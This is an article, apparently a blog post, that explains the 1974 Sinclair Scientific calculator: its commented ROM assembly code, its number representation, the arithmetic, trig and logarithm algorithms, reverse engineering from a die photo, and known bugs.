UPPERKEY SFA UP\_LOW UP\_LOW set for UPPER key

BIE MAINLOOP done

MINUSKEY TFA UP\_LOW alt-MINUS is COS

BINE COSKEY

Minus normally is just addition after negating A.

Except - following E changes the exponent sign instead**.**

Except a second minus following E - does a subtraction

TFB NEWEXP - follows E**?**

BIE DOSUBTR

AAKA EXP\_S5 negate exponent for E - keystrokes

BIE MAINLOOP if already neg, fall through subtract

DOSUBTR AAKA MANT\_S5 negate mantissa then fall through and add

BIE PLUSKEY clear condition flag

PLUSKEY TFA UP\_LOW alt-PLUS is SIN

BINE SINKEY

Add A and C. First, C is copied to B. The numbers need to have equal

exponents to be added so the difference in exponents is

computed using C and B is shifted left to align the mantissas**.**

If the mantissas have different signs, they are subtracted instead of added,

which may require A and B to be swapped**.**

ADDSUB AKC DIGIT Clear C DIGIT

ACKB ALL copy C to B

ABAC EXP add exponents into C

BIE CLRCC Clear condition code

CLRCC ABAC EXP\_S5 add exponent signs

SCKC EXP\_S5 subtract 5 from sign

BIE EXPSNES signs were different

CAB EXP compare exponents

BIE EXPAGE branch >=

EXAB ALL switch arguments so A EXP > B EXP

EXPAGE SABC EXP same sign - subtract exponents into C

EXPSNES CAK EXP\_S5 Test A exponent sign

BINE AEXPPOS branch on borrow, A exp sign == 0

EXAB ALL switch arguments so A EXP > B EXP

AEXPPOS CAK MANT1 make sure A is nonzero

BIE BSHIFT2

EXAB ALL

BSHIFT2 SCKC EXP1 shift B by difference in exponents \(C\) to line up

BINE DONE2

SRLB MANT

BIE BSHIFT2 branch every time

DONE2 ABAC MANT\_S5 add mantissa signs and subtract 5

SCKC MANT\_S5

BIE SUBMANT signs different

TRYADD AABA MANT add mantissas, or restore A if did SUBMANT

BIE NORMLIZE branch if no overflow, i.e. did add

EXAB MANT failed subtract: swap A and B and try again**.**

EXAB MANT\_S5

Try subtracting mantissas: A-B**.** If B>A, add B back, swap, and try again

SUBMANT SABA MANT subtract mantissa

BINE TRYADD A was smaller than B: try again

BIE NORMLIZE branch every time, done

Multiplication: add exponents with different signs

SIGNSNE CAB EXP compare EXP magnitudes

BIE SUBEXPS branch if |A| >= |B|

EXAB EXPSGNS1 swap exponents and signs

At this point, |A| >= |B|, so can subtract and A's sign won't change

SUBEXPS SABA EXP subtract EXPs

BIE EXPSDONE branch every time

Division entry point: compute C / A.

First, normalize A mantissa since repeatedly subtracting A depends on

having A normalized**.** Next, use multiply's add-exponent code to subtract

A's exponent from C's**.**

The DIVLOOP loop repeatedly subtracts B from C, counting into A.

Successive loops shift by 10 to perform long division**.**

DIVKEY TFA UP\_LOW entry point for DIV

BINE TANKEY alt-DIV is TAN

SFA COS\_TAN reusing flag to indicate division

DODIV SFA RET1FLAG 'subroutine call' flag

BIE NORMLIZE 'Subroutine call' to normalize A

RET1 ZFA RET1FLAG 'Return' here after NORMLIZE

AAKA EXP\_S5 toggle A's EXP sign since dividing not multiplying

BIE MULTKEY clear cc

Multiply by adding exponents and multiplying mantissas

If COS\_TAN set, divide by adding exponents, then jump to DIVMANT

i**.** e. the code to add exponents is reused for division

MULTKEY TFA UP\_LOW alt-MULT is LOG

BINE LOGKEY

AKC DIGIT clear entered digit count

ACKB ALL copy C to B

EXAB MANT

Add exponents; tricky if signs are different

ABAC EXP\_S5

SCKC EXP\_S5

BIE SIGNSNE if signs different, use SIGNSNE

AABA EXP simply add exponents

EXPSDONE AABA MANT\_S5 xor signs

BIE CLRCC2 clear before test

CLRCC2 TFA COS\_TAN set if dividing

Compute A = B \* C mantissas; EXP already computed

MULTMANT AKA MANT clear mantissa

BINE DIVMANT branch if dividing

MLTLOOP1 SRLA MANT multiply B \* C

MLTLOOP2 CCK MANTLOW1 Add B to A, repeat low digit of C times

BINE MULTSHFT

SCKC MANT1

AABA MANT

BIE MLTLOOP2

MULTSHFT SRLC MANT shift C right

CCK MANT1

BIE MLTLOOP1 loop if not done

TFA LOW

BINE ALOGRET Return to ALOGRET if LOW flag set \(ANTILOG\)

Normalizes mantissa by removing leading zeros**.**

This is called to finish up after an operation

Also subroutine call; RET1FLAG will cause return to RET1

NORMLIZE CAK MANT1 Test if mantissa is < 1

BINE START if mantissa is 0, reset

Repeatedly shift MANT left until a value in the 5 digit**.**

Decrement EXP each step to compensate

MANTSHL CAK DIGIT1 Loop to left-align mantissa

BIE MANTOK Branch if mantissa aligned

SLLA MANT Shift mantissa left

Decrementing the exponent is a bit tricky because sign is separate

Cases are: positive exponent, exponent becoming -1, and negative exponent

CAK EXP\_S5 Check exponent sign

BIE EXPNEG Branch if negative

SAKA EXP1 Decrement exponent

BIE EXPPOS3 Branch if no borrow

AKA EXP\_S5 EXP went negative: Set exponent sign

AKA EXP1 Set exponent to 1

EXPPOS3 SAKA EXP1 Decrement exponent to cancel next instruction

EXPNEG AAKA EXP1 For negative exponent, inc EXP to decrement

BIE MANTSHL two branches to clear condition flag

BIE MANTSHL

At this point, mantissa is left-aligned into digit 5

Now shift one position right and increment exponent, taking sign into account

MANTOK SRLA MANT

CAK EXP\_S5 Test exponent sign

BINE EXPPOS

SAKA EXP1 Decrement exponent

SAKA EXP1 Decrement exponent

EXPPOS AAKA EXP1 Increment exponent

BIE CLRCC1 clear condition

CLRCC1 TFA RET1FLAG Subroutine return

BINE RET1 return to RET1 if RET1FLAG set

returned if RET1FLAG set, otherwise clean up..**.**

clear B, set OPDONE, clear A flags, fix EXP sign, copy A result to C

ZFB ALL Clear B

SFB OPDONE Set op done flag**?**

ZFA ALL Clear A flags

Fix EXP of -00 if necessary

CAK EXP1 Is exponent zero \(< 1\)

BIE EXPPOS2

CLEARSGN AAKA EXP\_S5 Flip sign

BIE CLEARSGN Branch if sign was clear before

EXPPOS2 AAKC ALL Copy A to C

BIE MAINLOOP BET

Entry points for TAN, COS, and SIN

TANKEY SFA TAN

COSKEY SFA COS\_TAN

SINKEY SAKA EXP1 shift mantissa by exponent

BINE DONESHFT

SRLA MANT

BIE SINKEY

DONESHFT AKA EXPSGNS1 clear signs

SAKA EXPSGNS1 EXP = 0

AKC ALL clear C

TFA LOW check for ARC-

BIE NORMOP branch if no

TFA TAN check ARCTAN**?**

BIE ASINCOS branch if no

AAKC ALL ARCTAN: copy A to C

AKB MASKA1 set digit in B

BIE TRGLOOP2 branch every time

ASINCOS AAKA MANTD1

NORMOP AKB MANTD5 B = **.** 0005 \(current SIN\)

SRLB MANT

ACKC MASKA1 C += 1 \(current COS\)

Loop test for SIN/COS/TAN

TRIGLOOP SAKA MANTD1 rotate A times, by **.** 001 rad

BINE TRIGDONE branch on borrow - done

The main trig loop**.** B holds sin, C holds cos.

The loop is performed A times, rotating by **.** 001 rad each time.

TRGLOOP2 SLLC ALL shift C to prepare for add

SLLC ALL

SLLC ALL

ACKC MANTD5 C=C-B/1000 \(rounded\)

SCBC ALL

SRLC ALL restore C

SRLC ALL

SRLC ALL

SLLB ALL shift B to prepare for add

SLLB ALL

SLLB ALL

ACKC MANTD5 B=B+C/1000 \(rounded\)

ABCB ALL

SCKC MANTD5 restore C

SRLB ALL

SRLB ALL

SRLB ALL

TFA LOW ARC-op**?**

BIE TRIGLOOP no: branch

Increment ARC-trig count, check termination

AAKA EXPSGNS1 Count iterations in top digits of A

TFA TAN

BIE ASINCOS1 branch if SIN/COS

Test ARCTAN termination

CCK DIGIT1 ARCTAN, compare C to K

BINE TRGLOOP2 loop if not done

BIE ARCDONE BET

ASINCOS1 TFA COS\_TAN SIN/COS

BINE ACOSCHK branch if COS

Test ARCSIN termination

CAB MANT must be SIN

BIE TRGLOOP2

BIE ARCDONE Branch every time

Test ARCCOS termination

ACOSCHK CAK MANT1 COS

EXAB MANT compare C-A the hard way

CCB MANT

EXAB MANT

BIE TRGLOOP2 C==A

ARCDONE SRLA ALL shift iteration count into mantissa, divide by 1000

SRLA ALL

SRLA ALL

SRLA ALL

SRLA ALL

BIE NORMLIZE branch every time

SIN/COS/TAN loop done

TRIGDONE TFA TAN

BIE SINCOS

ACKA ALL doing TAN: A=C \(denom\)

ABOC ALL C=B \(numer\)

AKB ALL B=0

ZFA UP\_LOW

BIE DODIV branch every time

SINCOS TFA COS\_TAN

BIE SIN branch for SIN

ACKB ALL COS: return C via B

SIN EXAB ALL SIN: return B

BIE NORMLIZE BET \(no overflow\)

LOGKEY TFA LOW low-MULT is antilog

BIE LOG

Antilog entry point**.**

The concept is to split the integer and fractional part of A. The integer

part becomes the EXP of the result**.** The antilog of the fractional part is

computed using the equation 10^f = 10\* **.** 99^\(229.15\*\(1-f\)\)

First, split int and frac parts of A. Next LOGLOOP computes constant 229**.**
15.

Control continues at ANTILOG which calls MULTMANT to multiply 1-frac by
229**.** 15

DOALOG CAK EXP1 Test exponent

Split int and frac parts of A: int in digits 1-4, frac in 7-10

Shortcut: If EXP > 0, assume EXP is 1**.** Anything bigger would probably
overflow

This is totally wrong for cases like antilog\(0**.** 001E3\)

BINE EXPZERO branch if exponent is 0

CAK EXP\_S5 Test exponent sign

BINE EXPPOS4

SRLA MANT Negative exponent: shift mantissa right to align

SAKA EXP1

BIE DOALOG Loop every time

EXPPOS4 SLLA MANT Positive EXP, assume it is 1

EXPZERO AKA EXP Clear exponent

SLLA TOPSTUFF Shift integer part into digits 1-4 for later

SLLA TOPSTUFF

Compute log of A.

First compute -1/log\(**.** 99\) = 229.15**.** Then compute -log\(MANT
A\)/log\(.99\).

Divide the results to get log\(MANT A\)**.** Finally, add EXP A to get the
result.

Then compute -log\(A\)/go through power loop a second time

LOG AKC ALL This entry point computes -1/log\(**.** 99\) = 229.15

ACKC DIGIT1 C = 10.00000

LOGLOOP is used twice; once to compute the constant 229**.** 15 and then again

on the actual argument**.**

Compute -log\(C MANT\) / log\(**.** 99\).

Do this by repeatedly incrementing count until \(C MANT\)\* **.** 99^count is
< 1

That yields count = -log\(C\) / log\(**.** 99\) approximately

count is stored in C EXP, and the current C\* **.** 99 in C MANT

LOGLOOP ACKB MANT Compute log B\* **.** 99^C until < .1

SRLB MANT

SRLB MANT

SCBC MANT C -= C / 100

TFB NEWEXP indicates ALOG here

BINE ALOGLOOP

ACKC EXPSGNS1 Count number of iterations

CCK MASKA1 C vs 100000

BIE LOGLOOP Loop if >=

Get a couple decimal points of accuracy by adding the remainder\*100

Explanation using Taylor series:

**.** 99^\(epsilon\*100\) = 1-epsilon = 1/\(1+epsilon\) approximately

So if C\* **.** 99^N = 1+epsilon, then C\*.99^\(N+epsilon\*100\) =
\(1+epsilon\)/\(1+epsilon\) = 1

Thus N + epsilon \* 100 is the better approximation

SCBB EXPSGNS1 undo last iteration: count in B EXP

ABCC MANT undo last MANT subtract

SCKC MASKA1

SRLB ALL Shift count into B mantissa

SRLB ALL

SRLB ALL

SRLB ALL

ABCB MANT add epsilon\*100

EXAB MANT result in A MANT

TFA LOW

BINE ANTILOG return to ANTILOG if LOW set

ABOC ALL Copy B \(arg\) to C

FFA TAN go through loop twice, tracked by TAN flag

TFA TAN

BINE LOGLOOP back to the loop with the argument

Second power loop done for LOG**.** A EXP is original EXP.

A MANT = -log\(original A MANT\) / log\(**.** 99\)

B MANT = 229.15 = -1 / log\(**.** 99\)

Copy A MANT to C MANT, then compute C MANT / B MANT

This yields A MANT = log\(original A MANT\)

AAKC MANT

For LOG fall-through: 229**.** 15 in B, -log\(arg\)/log\(**.** 99\) in A and C

At ALOGDIV entry: 1+epsilon in B, **.** 99^N in C

ALOGDIV AKA MANT clear A mant, arg exp still in A

Compute A MANT = C MANT / B MANT by long division

DIVMANT AKA DIGIT4 start digit count at 4, iterate until 10

The DIVLOOP loop repeatedly subtracts B from C, counting into A

DIVLOOP CCB MANT Compare C and B to see if subtraction done

BINE SHIFTDIV branch if C < B

SCBC MANT C -= B

AAKA MANT1 increment low digit of A

BIE DIVLOOP BET

SHIFTDIV AAKC DIGIT1 increment digit count into C

BINE DIVDONE overflow

SLLA MANT shift A mantissa left

ACKA DIGIT copy digit count back to A

SLLC MANT and shift C mantissa left

BIE DIVLOOP branch every time

DIVDONE AKA DIGIT NOP to clear flag

TFA UP\_LOW pick the return target

BINE ADDLOG continue for LOG

BIE NORMLIZE done for DIV

WAITED BIE WAITED2 inconvenient WAITNO target

For LOG, add \(original\) A exponent to result via ADDSUB

ADDLOG AAKC MANT A mantissa -> C

AKA MANT clear A mantissa

SRLA ALL shift exponent into top of mantissa \(log of exponent\)

SRLA ALL

AKA EXP clear exponent

At this point, original EXP is in A digits 5 and 6, log of original MANT is in
C

Add them together to get final log

BIE ADDSUB BET \(clear from AAKC\)

A holds the original int part in digits 1-4, 229**.** 15 in digits 6-10

B holds the original fractional part in digits 6-10

ANTILOG AAKC MANT copy 229**.** 15 to C

AKA MANT clear A MANT

AKA MASKA1

SABA MANT

EXAB MANT B holds 1 - original fractional part

BIE MULTMANT Sub call to multiply by 229**.** 15

ALOGRET SRLA MANT

SFB NEWEXP indicates ALOG

BIE LOG Branch every time

conditional for LOGLOOP when doing ANTILOG

loop number of times in A MANT

ALOGLOOP SAKA MANTD1 decrement A and if non-negative..**.**

BIE LOGLOOP go back to LOGLOOP

Get a couple more digits of accuracy**.** The idea is that

.99^epsilon = 1-epsilon/100 = 1/\(1+epsilon/100\)\) approximately

so divide by 1+remainder/100 to account for the fractional part of

the exponent in **.** 99^N, since the loop only does the integer part.

AAKA MANTD1 restore A digits to 0

SLLA MANT use the ignored digits for extra accuracy**?**

AAKA MASKA1 A = 1 + remainder/100

ABCC MANT restore value of C from extra iteration

EXAB MANT B has correction factor, C has 10\* **.** 99^N

ZFA UP\_LOW

BINE ALOGDIV BET divide and finish up ALOG

A Flags:

0 ALL - all flags, for clearing

1 \(S10\) RET1FLAG - indicates return to DIV

3 \(S6\) UP\_LOW - indicates either UP or LOW functions

5 \(S0\) LOW - indicates a LOW function

7 \(S9\) TAN - indicates TAN selected

11 \(S5\) COS\_TAN - indicates COS or TAN selected

B Flags:

0 ALL - all flags, for clearing

1 \(S10\) EMODE - indicates E has been pressed

6 \(S8S7\) OPDONE - indicates operation completed, waiting for number

7 \(S9\) NEWEXP: E pressed, entering a new exponent; also for ALOG

Masks:

S value

a9876543210

00000000000 mask 0 ALL - all digits

5 mask 1 MANT\_S5 - mantissa sign; 5 is negative

00 mask 2 EXP - exponent for value

1 mask 3 DIGIT1

0000000 mask 4 MANT - mantissa

1 mask 5 MANTLOW1 - low digit of mantissa

01 mask 6 EXP1 - mantissa constant 1

5 mask 7 EXP\_S5 - exponent sign; 5 is negative

000000 mask 8 TOPSTUFF

0001 mask 9 EXPSGNS1 - exponent and signs, also a counter

0000001 mask a MANT1 - mantissa constant 1

1 mask b MASKA1 - counter or digit in mantissa

00005 mask c MANTD5

00001 mask d MANTD1

4 mask e DIGIT4

0 mask f DIGIT

0| 0| 0| 0| 0| 0| 0| 0| 0| 0| 0| A register  
---|---|---|---|---|---|---|---|---|---|---|---  
0| 0| 0| 0| 0| 0| 0| 0| 0| 0| 0| B register  
0| 0| 0| 0| 0| 0| 0| 0| 0| 0| 0| C register  
0| 0| 0| 0| 0| 0| 0| 0| 0| 0| 0| A flags  
0| 0| 0| 0| 0| 0| 0| 0| 0| 0| 0| B flags  
|  |  |  |  |  |  |  |  |  |  | Mask / constant  
Instr| 10 10010 0111  
---|---  
Cond| 0  
## How to use this unusual calculator****

The Sinclair Scientific calculator uses reverse Polish notation  \(RPN\) and
scientific notation, so the key sequences are totally different from regular
calculators**.** Numbers automatically have a decimal point inserted; use `E`
to set the exponent**.** Operations are entered after the number and there is
no equals key**.** Use the up and down arrows to select scientific
functions**.** A display such as `1**.** 2300 01` indicates 1.23\*10^1, i.e.
12.3. A few examples:

To divide 17 by 3, enter `1 7 E 1 + 3 ÷`

To take the sin of 0**.** 01 radians, enter `0 0 1 ▲ +`

To take antilog of **.** 5 \(to compute 10^**.** 5\), enter `5 E - 1 ▼ ×`

Detailed examples are available here  and the original manual is here **.**

## Representing numbers****

Numbers are represented as a 6-digit mantissa and a two-digit exponent**.**
For example, 1234.5 has a mantissa of 1.2345 and an exponent of 3, so it is
displayed as `1**.** 2345 03`. Interestingly, only 5 digits are displayed,
although 6 digits are stored internally**.**

The mantissa and exponent each have a sign; positive is represented internally
by the digit 0 and negative by the digit 5**.** This may seem random, but it
actually makes sign arithmetic easy**.** For instance, when multiplying
numbers the signs are added: positive times positive has 0+0=0 which indicates
positive**.** Negative times negative has 5+5=0 indicating positive \(the
carry is dropped\)**.** Negative times positive has 5+0=5 indicating
negative**.** This is one of the tricks that helps the Sinclair code fit into
the small ROM**.**

It's slightly confusing that numbers are stored internally different from how
they are displayed**.** The first digit in the A register is the mantissa
sign, followed by the exponent sign**.** \(The signs have to be stored in
these locations since the hardware provides special display decoding for these
digits which is how a `5` is displayed as a `-`**.**\) The next two digits of
the A register are the exponent, which is followed by the mantissa**.** This
order is opposite from the display but makes some calculations simpler**.**

## Limited performance and accuracy****

The conceptual leap that made the Sinclair Scientific possible was realizing
that many people didn't need the accuracy and performance of HP and TI
calculators**.** \(This can be considered an application of the Worse is
Better  design principle**.**\) HP put a lot of work into the accuracy of the
HP-35 calculator , using advanced transcendental pseudo-multiplication and
pseudo-division algorithms \(basically decimal CORDIC \)**.** The HP-35's
scientific operations have from 7 to 11 digits of accuracy**.** In comparison,
scientific operations on the Sinclair Scientific only have three decimal
places of accuracy at best**.**

Due to the simple loop-based algorithms, the speed of the Sinclair Scientific
calculator varies from good to horribly slow depending on the values**.** For
instance, sin .1 takes under a second, but sin 1 takes about 7**.** 5 seconds.
Arccos .2 takes about 15 seconds. Log and antilog have the overhead of
recomputing the constant 229**.** 15, and take about 1 to 2 seconds. In
comparison, the HP-35 was designed with a one second deadline for
computations**.**

Using such slow, inaccurate algorithms would be unthinkable for HP or TI, but
in the Sinclair Scientific they got the job done at a good price**.**

## How the code fits into 320 words****

The following chart shows how many instructions were used for different
operations**.** Blue is the 4-function code that Texas Instruments originally
wrote for the chip, and red is the Sinclair Scientific calculator code**.**

The category _Function_ is code to read the keyboard input and keep track of
what function is being performed**.** RPN greatly simplifies this, since
functions are performed immediately**.** With algebraic notation, the
calculator must store the function when it is entered, and then perform it
later**.**

Using scientific notation shrunk the Sinclair Scientific's code in the next
two categories: _Digit_ is code to handle entering digits into a number and
_Display_ is code to format a number for display**.** As can be seen from the
Texas Instrument code , a calculator with regular floating point numbers needs
a lot of code to shift numbers back and forth and adjust the decimal
point**.** In fact, since the Texas Instruments code ends up keeping an
exponent internally, the floating point display is strictly overhead**.**
Moving the minus sign to the correct display position is also overhead that
the Sinclair Scientific avoids**.**

_Normalize_ is the code to normalize the result of an operation and is fairly
close on both calculators**.** The add/subtract/multiply/divide code is also
similar length on both calculators**.** The scientific functions in the
Sinclair Scientific fit into the remaining space**.** Trig functions were
implemented in about 40 instructions**.** Arc-trig operations are almost 30
more instructions**.** Logarithms are about 40 instructions, with anti-log
about 20 on top of that**.**

<img src='img/Temp2_6957.png' alt='How much code is used for each function in
the TI calculator vs the Sinclair Scientific.' />

How much code is used for each function in the TI calculator vs the Sinclair
Scientific**.**

## How addition and subtraction work****

Addition and subtraction in the Sinclair Scientific are not too
complicated**.** Since the two values may have different exponents, one of the
values is shifted until the values line up**.** Then the mantissas are added
or subtracted as appropriate**.** The code has some special cases to handle
the different combinations of signs in the arguments**.**

After the operation \(as with all operations\) the result is normalized**.**
That is, a result such as 0.0023 is shifted to 2**.** 3000 and the exponent is
correspondingly decreased by 3**.** Finally, registers are cleaned up and the
result is displayed**.**

## How multiplication works****

You might be surprised to learn that the calculator chip cannot perform
multiplication natively**.** There's no floating point unit to multiply two
numbers**.** Instead, multiplication is performed through repeated addition,
digit by digit**.** That is, the multiplicand is added the number of times in
the low order digit of the multiplier**.** Then the multiplicand is multiplied
by 10 and the multiplier is divided by 10 and the process repeats**.** The key
trick is that multiplying and dividing by 10 are easy for the chip to do; the
chip simply shifts the digits left or right**.**

For example, 23 \* 34 is computed as 34 + 34 + 34 + 340 + 340 \(i**.** e**.**
3 \* 34 + 2 \* 340\).

Before multiplying the mantissas, the exponents are simply added**.** At the
end, the result is normalized.

## How division works****

Division is done by repeated subtraction, somewhat like grade-school long
division**.** First the divisor is normalized, since dividing by 0**.** 0001
would be a lot of subtractions**.** Next, the exponents are subtracted.
Finally, the divisor is subtracted as many times as possible, counting the
number of subtractions into the result**.** The remainder is shifted and the
process repeats through all the digits**.** For example, 7 ÷ 3 is computed as
7 - 3 - 3 counts 2 subtractions with remainder of 1, Shift the remainder to 10
and compute 10 - 3 - 3 - 3 counts 3 subtractions with a remainder of 1**.**
This repeats a few more digits to generate the result 2**.** 3333\.

##  How trig operations work****

How can sine and cosine be computed efficiently in a calculator that has a
hard time even doing multiplication**?** The trick is to do repeated rotations
by 0.001 radians until the desired angle is reached. If you have the cosine
\(C\) and sine \(S\) for a particular angle, to rotate by **.** 001 radians
simply do:

[code]

    C = C - S / 1000
    S = S + C / 1000
    
[/code]

These operations are quick and are done without division: `S / 1000` is simply
S shifted right three digits**.** \(If you've studied graphics, this is
basically a rotation matrix**.** This algorithm was discovered by Marvin
Minsky and published in HAKMEM in 1972**.** I wonder if Sinclair read HAKMEM
or rediscovered the algorithm**.**\)

The calculator multiplies the input argument by 1000 \(i**.** e**.** shifts it
left three digits\) and performs the rotation that many times; `TRIGLOOP` is
the code that does this**.** At the end of the rotations, the sine and cosine
are available**.** To compute the tangent, the sine and cosine are simply
divided**.**

The following diagram illustrates**.** The starting unit vector \(1, 0\) is
rotated in steps of **.** 001 radian until angle θ is reached**.** At that
point, the coordinates give cos θ and sin θ**.** \(To be precise, the starting
vector is \(1, 0**.** 0005\) to provide rounding.\)

<img src='img/Temp2_6956.png' alt='Vector rotation is used to compute sine and
cosine in the Sinclair Scientific calculator.' />

Vector rotation is used to compute sine and cosine in the Sinclair Scientific
calculator**.**

While this algorithm requres very little code, it has the drawback of being
very slow for large angles**.** Other calculators use algorithms such as
decimal CORDIC that are much faster and more accurate, taking time
proportional to the number of digits**.** But those algorithms are more
complex and requires multiple constants during the computation**.**

Arcsine and arccosine use the same loop, but instead of iterating a fixed
number of times, the rotation is performed until the sine or cosine of the
vector matches the desired value, and the loop counter gives \(after dividing
by 1000\) the angle θ, which is the desired arcsine or arccosine**.**

Arctan uses a slight modification**.** To compute `arctan(z)`, the starting
vector is \(z, 1\)**.** The vector is rotated until vertical \(the first
coordinate is 0\)**.** The angle of rotation gives the arctan. The following
diagram shows how this works for `arctan(**.** 7)`. Rotating the red vector by
θ will make the x coordinate 0**.** `tan(θ)` is .7 \(opposite ÷ adjacent in
the red triangle\). Thus, rotating the vector until it is vertical and
counting to measure θ will generate the arctan**.**

<img src='img/Temp2_6961.png' alt='Arctan in the Sinclair Scientific works by
measuring the rotation angle required to make the vector vertical.' />

Arctan in the Sinclair Scientific works by measuring the rotation angle
required to make the vector vertical**.**

## How log works****

Log and antilog are a bit more complicated than trig operations**.** The core
of the calculation is computing powers of **.** 99**.** This can be done
efficiently in a loop, since X\*.99 is X - X / 100, which is computed by just
shifting the digits and subtracting**.**

The main log loop takes an input X and iterates through X\* **.** 99^N until
the result is less than 1. The resulting loop counter N is approximately
-log\(X\)/log\(**.** 99\). By adding the remainder, a couple additional digits
of accuracy are obtained - see the code comments for details**.**

One complication of using .99 as the base is the calculations require the
constant 229**.** 15 \(which approximates -1/log\(.99\)\) in several places.
Unfortunately, the calculator can't store multi-digit constants**.** The
solution is the calculator actually recomputes this constant every time it
performs a log or antilog**.**

Putting this all together, the log is computed by using the loop to compute
-log\(10\)/log\(**.** 99\), which is the magic constant 229.15. The same loop
is used on the mantissa of the input to compute -log\(input\)/log\(**.** 99\).
Dividing the two values yields the log of the input**.** Finally, the exponent
of the input is simply added to the result, since log\(10^N\) is just N.

Thus, log is computed with a single slow division along with quick shifts,
adds, and subtracts**.**

## How antilog works****

Antilog \(i**.** e. 10^x\) reuses much of the same code as log. The key
observation for antilog is that 10^x = 10\* **.** 99^\(229.15\*\(1-x\)\). To
compute the antilog, first the magic constant 229**.** 15 is computed as
before. Next 1-x is multiplied by the constant. Then the powers of **.** 99
loop is done that many times. Since the loop can only be done an integer
number of times, a remainder is left over**.** To get more accuracy, a
division is performed using the remainder - see the code for details**.**

Thus, antilog is computed with one multiplication, one division, and a lot of
quick shifts, adds, and subtracts**.**

You might wonder how this algorithm can fit into three registers since there's
the constant 229**.** 15, the loop counter, the power of .99, and the power
divided by 100, all in use at the same time**.** The trick is the registers
are split in two. The chip's instructions support masks, so part of the
register can be a counter and part can hold a computation value, for
instance**.**

## Sharing code and control flow****

The diagram below shows the high-level control flow for the different
operations the calculator performs. Note that multiple operations reuse the
same code blocks**.** This is one way the code is squeezed into 320 words**.**
Since the chip doesn't support subroutine calls, it's not as simple as just
calling a multiply subroutine**.** Instead, the flag register is used to keep
track of what's going on**.** For instance, at the end of multiplication, the
control flow branches either to normalize or antilog based on one of the
flags**.** Thus, flags and gotos are used as a replacement for subroutine
calls**.**

<img src='img/Temp2_6960.png' alt='A high-level flowchart of the code in the
Sinclair Scientific calculator.' />

A high-level flowchart of the code in the Sinclair Scientific calculator**.**

## Reverse engineering****

The Visual 6502  group enjoys dissolving old chips in acid, photographing the
die, and reverse-engineering them**.** I used their photo of the Sinclair
Scientific chip to find out how the calculator works**.** It helped that I
knew a lot about the Texas Instruments 080x  chip architecture in advance
since I'd written a TI calculator simulator **.** The image below shows a
highly magnified image of the calculator chip with the main sections
labeled**.** \(The original image is here .\) The chip is customizable, not
just the instruction ROM, but also the operation masks, single-digit
constants, display decoding, and even the instruction set**\!** This allows
the same basic chip to be easily modified for use in different
calculators**.** For details on the operation of the chip, see my TI
calculator simulator page  with schematics and detailed explanation**.**

<img src='img/Temp2_6962.png' alt='The TMS0805 chip that powers the Sinclair
Scientific calculator.' />

The TMS0805 chip that powers the Sinclair Scientific calculator**.**

The image below zooms in on part of the ROM, showing individual
transistors**.** The chip uses simple metal-gate PMOS  technology**.** The
vertical metal wires are clearly visible in the image**.** Underneath the
metal is the silicon. Regions of the silicon have been modified to become
conductive**.** In the ROM, these regions form horizontal conductors; the
borders of the conductors are visible below**.** Finally, the rectangles in
the image are the metal gates of transistors between two of the silicon
lines**.** The larger rectangles are multiple transistors.

<img src='img/Temp2_6963.png' alt='A small portion of the ROM in the Sinclair
Scientific processor, showing how transistors are arranged to store bits.' />

A small portion of the ROM in the Sinclair Scientific processor, showing how
transistors are arranged to store bits**.**

This chip uses simpler technology than chips such as the 6502**.** In
particular, it doesn't have a layer of polysilicon interconnects like the 6502
processor **.**

The ROM is programmed by putting a transistor for a zero bit and omitting a
transistor for a one bit**.** Once the layout of the ROM is known, reading the
ROM is a simple matter of looking for transistors in the image**.** Likewise,
the operation masks and single-digit constants can be figured out from the
photograph**.** I converted the ROM contents into source code and wrote
extensive comments explaining how the code works; the commented source code is
displayed in the simulator window**.**

The Sinclair Scientific chip adds a couple instructions to the instruction set
that weren't in the original chip**.** By looking at the instruction decoding
circuit, it wasn't too hard to figure them out**.** The instructions were
nothing special \(for example, add A to B and store the result in C\), but
they probably made the code a few critical instructions shorter**.**

The image below shows the ALU instruction decode ROM**.** Each opcode from 31
to 0 has an input line on the top and is connected via transistors \(the
squares\) to control lines that exit on the left**.** The ALU takes two
arguments and by default performs addition**.** For instance opcode 0 is
connected to "Arg1 is A", "Arg2 is B", and "Destination is A"**.** Thus it
adds A and B, putting the result in A. Opcode 13 selects C as argument 1,
constant as argument 2, performs a subtract, and has no destination**.** Thus,
it compares register C to a constant. Likewise, the other opcodes can easily
be figured out from the image**.**

<img src='img/Temp2_6959.png' alt='The instruction decode ROM in the TMS0805
processor that powers the Sinclair Scientific calculator.' />

The instruction decode ROM in the TMS0805 processor that powers the Sinclair
Scientific calculator**.**

## Bugs and limitations****

The Sinclair Scientific cut a lot of corners to fit into 320 words of ROM, so
it's not surprising there are problems. By looking at the code, we can see
exactly what goes wrong**.**

The calculator manual  specifies fairly restrictive limits on the allowable
values for scientific operations, but the calculator doesn't enforce these
limits**.** If you're outside the limits, there's no telling what the
calculator might do**.** For instance, logarithm is only supported for
arguments ≥ 1**.** The calculator almost works for arguments such as 5E-3,
except it adds the exponent 3 instead of subtracting it, so the result is
totally wrong**.** If they had room for just a few more instructions they
could have made this work**.**

EdS found that 1.99996 antilog yields the wildly wrong answer of 0, even
though it is in the supported antilog range**.** The problem is in the
computation of 229.15\*\(1-.99996\), the second factor is so small the
multiplication yields 0 causing antilog to bail out**.**

The antilog code assumes that if the exponent is greater than 0, it is 1**.**
Thus antilog of 0**.** 01E2 yields 1.2589 instead of 10. Calling `NORMALIZE`
would have fixed this, but there wasn't space for the call**.**

Arccos of a very small value \(e**.** g. 0**.** 0005\) goes into an almost-
infinite loop and takes 1 minute, 48 seconds to complete \(as measured on a
real calculator\), before returning the wrong value 0**.** The root cause is
since the angle is increased in steps of **.** 001, it never exactly reaches
the desired cosine value**.** When the rotation vector crosses vertical, the
angle goes from 1**.** 570 radians to 1.571 radians. cos 1.570 is bigger than
**.** 0005 so the loop doesn't exit. But at 1.571, everything falls apart: the
loop uses unsigned arithmetic, so the sine value wraps to 999**.** 99955 and
the sine and cos become meaningless. The only reason the loop ever terminates
is the loop counter eventually overflows after 9999 iterations, which
inadvertently causes the code to fall into the arctan path and exit with
0**.**

Scientific calculators usually provide constants such as e and π but there was
no space in the ROM for these constants**.** The Sinclair Scientific used the
brilliant solution of printing the constants on the calculator's case - the
user could enter the constant manually if needed**.**

## Conclusions****

The Sinclair Scientific came out in 1974 and was the first single-chip
scientific calculator \(if you ignore the display driver chips\)**.** It was
stylishly compact, just 3/4 inch thick. It originally sold for the price of
$119**.** 95 or £49.95 and by the end of the year was available as a kit for
the amazingly low price of £9**.** 95 .

